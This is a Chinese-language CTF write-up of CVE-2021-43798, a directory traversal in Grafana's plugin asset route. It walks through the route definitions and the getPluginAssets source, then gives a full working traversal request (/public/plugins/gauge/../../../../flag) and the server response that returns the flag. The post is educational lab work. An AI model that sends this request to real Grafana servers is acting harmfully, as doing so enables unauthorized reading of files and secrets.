(WEB)CVE-2021-43798

鼠鼠從現在開始記錄每一個CVE的复刻 QWQ 。
這一次學了一點go的後端。

簡介

CVE-2021-43798 是一個開源監控平台 Grafana的漏洞。

影響版本:Grafana 8.0.0-beta1 ~ 8.3.0

Directory Traversal(目錄穿越)

平台:https://www.nssctf.cn/problem/1139


复刻:

github:

grafana

了解Grafana 内置 plugin(源碼):

api.go

grafana的好像是go語言寫的 ,

c490007e-dc40-4cdf-ba17-944e7f3a8a44.png

分析一下api.go

4255976ba907e89a2628d483e036fe5b.png

有兩func :

registerRoutes():

把 Grafana 整個 Web / API 的路由全部註冊起來

定義整個站有哪些 URL:

1
2
3
4
5
6
例如:
/login
/logout
/api/user/...
/api/plugins/...
/public/plugins/:pluginId/*

還有middleware:

1
2
3
4
5
例如某些路由需要:
未登入可訪問
已登入才可訪問
只有 org admin / grafana admin 才可訪問
RBAC 權限檢查

把 URL 連到實際 handler:

1
r.Get("/login", hs.LoginView)

用get方法: /login->LoginView (和CVE有關) api.go 264 line

1
r.Get("/public/plugins/:pluginId/*", hs.getPluginAssets)

get :/public/plugins/:pluginId/*->getPluginAssets

注意: “/public/plugins/:pluginId/*”是一條 動態路由(dynamic route),用來讓瀏覽器讀取 Grafana 插件的靜態檔案。


1
2
3
4
:pluginId : 插件名稱(變數)
比如:
/public/plugins/gauge/
/public/plugins/alertlist/
1
2
3
4
5
6
7
8
9
10
*:
通配符(wildcard)
/public/plugins/gauge/*
gauge下所有文件目錄:
/public/plugins/gauge/module.js
/public/plugins/gauge/css/style.css
/public/plugins/gauge/abc/def/ghi.js
/public/plugins/alertlist/*
alertlist下所有文件目錄:
....
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
GET /public/plugins/gauge/../../../../../../../../../../flag HTTP/1.1
Host: node5.anna.nssctf.cn:23984
Accept-Language: zh-TW,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-Length: 45
Content-Type: text/plain; charset=utf-8
Expires: -1
Last-Modified: Mon, 13 Apr 2026 12:40:31 GMT
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Mon, 13 Apr 2026 12:42:02 GMT

NSSCTF{923271a8-dfa0-4b1c-b64b-c717df9f1de5}

那如果把*拿來當跳板目錄穿越:

1
2
:pluginId = gauge
* = ../../../../../../flag

getPluginAssets():

c130aa62-37c4-4232-af20-99c83d91c90b.png

在/api/plugins.go 348 line 找到 : getPluginAssets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
":pluginId"func (hs *HTTPServer) getPluginAssets(c *contextmodel.ReqContext) {
pluginID := web.Params(c.Req)[":pluginId"]
plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
if !exists {
c.JsonApiErr(404, "Plugin not found", nil)
return
}

// prepend slash for cleaning relative paths
requestedFile, err := plugins.CleanRelativePath(web.Params(c.Req)["*"])
if err != nil {
// slash is prepended above therefore this is not expected to fail
c.JsonApiErr(500, "Failed to clean relative file path", err)
return
}

if hs.pluginsCDNService.PluginSupported(pluginID) {
// Send a redirect to the client
hs.redirectCDNPluginAsset(c, plugin, requestedFile)
return
}

// Send the actual file to the client from local filesystem
hs.serveLocalPluginAsset(c, plugin, requestedFile)
}

可以注意到:

1
requestedFile, err := plugins.CleanRelativePath(web.Params(c.Req)["*"])

從 URL 裡取出 * 這段,也就是 plugin 之後的剩餘路徑,然後做「相對路徑清理」:

把”:pluginId”後面的路徑抽出來

我不知道CDN是什麼 , 問了問GPT :不走 CDN,那就從本地檔案系統讀出 plugin 資源,再回給客戶端

CDN

檢查這個 plugin 是否支援從 CDN 提供靜態資源

因為有些 plugin 的 JS/CSS 檔案不一定要從本機讀,可以直接讓瀏覽器去 CDN 抓,減少伺服器負擔。

1
2
3
4
5
6
7
8
9
if hs.pluginsCDNService.PluginSupported(pluginID) {
// Send a redirect to the client
hs.redirectCDNPluginAsset(c, plugin, requestedFile)
return
}

// Send the actual file to the client from local filesystem
hs.serveLocalPluginAsset(c, plugin, requestedFile)
}

很明顯/../../../../flag走的是serveLocalPluginAsset


middlewareUserUIDResolver():

產生一個 middleware handler(跟這個 CVE沒關係)不管了。



6bb91e361f50bfc15988f9671b929d26.png